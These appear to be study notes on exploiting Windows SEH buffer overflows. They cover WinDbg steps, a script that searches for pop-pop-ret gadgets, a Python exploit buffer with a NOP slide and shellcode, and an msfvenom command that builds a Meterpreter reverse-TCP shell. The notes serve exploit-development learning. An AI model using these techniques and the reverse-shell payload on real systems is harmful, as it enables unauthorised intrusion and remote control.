SEH Overflow

SEH Overview

Thread Environmental Block - TEB 
    Accessable via !teb in windbg
    Can view the linked list via the data type _EXCEPTION_REGISTRATION_RECORD with dt:

Exception list (_EXCEPTION_REGISTRATION_RECORD) includes two pointers:
    Next link in the list and the location of the exception handler

SEH Validation:

    On generation of an exception:
        ExceptionList linked list is gathered from the TEB
        The list is parsed and the exception handler is called (if Safe SEH is enabled it will compare the Exception Handler to the SafeSEH table)
        If no handler returns a success the application crashes

SEH Overflow:

Typically requires the buffer to be close to the start of the stack to reach

In windbg find the location via:
    !teb
    dt _EXCEPTION_REGISTRATION_RECORD

_except_handler prototype:  
     _except_handler(
         PEXCEPTION_RECORD ExceptionRecord, 
         VOID EstablisherFrame, 
         PCONTEXT ContextRecord, 
         PDISPATCHER_CONTEXT DispatcherContext)

    EstablisherFrame contains the address to the next Exception Handler

    Buffer overflow > 
    Overwrite a _EXCEPTION_REGISTRATION_RECORD > 
    After an exception is triggered the application will call _except_handler > 
    The 3rd arguement of the _except_handler,the EstablisherFrame, will point into the overflow buffer >
    Overwriting the EstablisherFrame with an address pointing to a Return Oriented Programing (ROP) gadget such as the common pop r32, pop r32, ret (pop the 3rd and 4th arguements of the _except_handler then return with the EstablisherFrame address) >
    Allows the attacker to reliably return execution into the attacker controlled buffer

    Utilize msf-pattern_create -l n to find the exact offset of the EstablisherFrame
    Trigger the exception and use !exchain in windbg to view the unique pattern which overwrote the EstablisherFrame
    Utilize msf-pattern_offset -l n -q 11223344(unique pattern)

Detect bad chars (fun :)

Locating pop, pop, ret ROP gadget:

windbg narly extension:
    .load narly
    !nmod

Try to locate a module without Dep/ASLR/SafeSEH(?)

Pop r32 opcodes: 0x58 - 0x5f

windbg script provided for finding p/p/r:

.block 
{ 
    .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01) 
    { 
        .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01) 
        { 
            s-[1]b {MODULE START ADDRESS} {MODULE END ADDRESS} $t0 $t1 c3 
        } 
    } 
}

"Island Hopping":

As the address overwriting the EstablisherFrame with the memory location of a p/p/r gadget will be interperted as an opcode/instruction a short jmp should be placed directly before it to avoid crashing after gaining control of _EXCEPTION_REGISTRATION_RECORD

Book Example:
    inputBuffer = b"\x90" * 124 (NOP slide)
    inputBuffer += pack("<L", (0x06eb9090)) #jmp 0x06 bytes (the 2 NOP instructions used as padding plus the 4 byte memory address of the p/p/r gadget)
    inputBuffer += pack("<L", (0x1015a2f0)) #address of p/p/r gadget
    inputBuffer += b"\x90" * (size - len(inputBuffer) - len(shellcode)) #padding
    inputBuffer += payload #shellcode

Jumping to an offset after gaining control:

    use msf-nasm_shell to generate opcodes
    If the generated opcode creates nullbytes such as:
        add esp, 0x830 = 81C430080000  
    Try using a 16bit register instead:
        add sp, 0x830 = 6681C43008

Generating a payload with MSF Venom:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=443 -b "\x00\x02" -f python -v shellcode

Last updated

Was this helpful?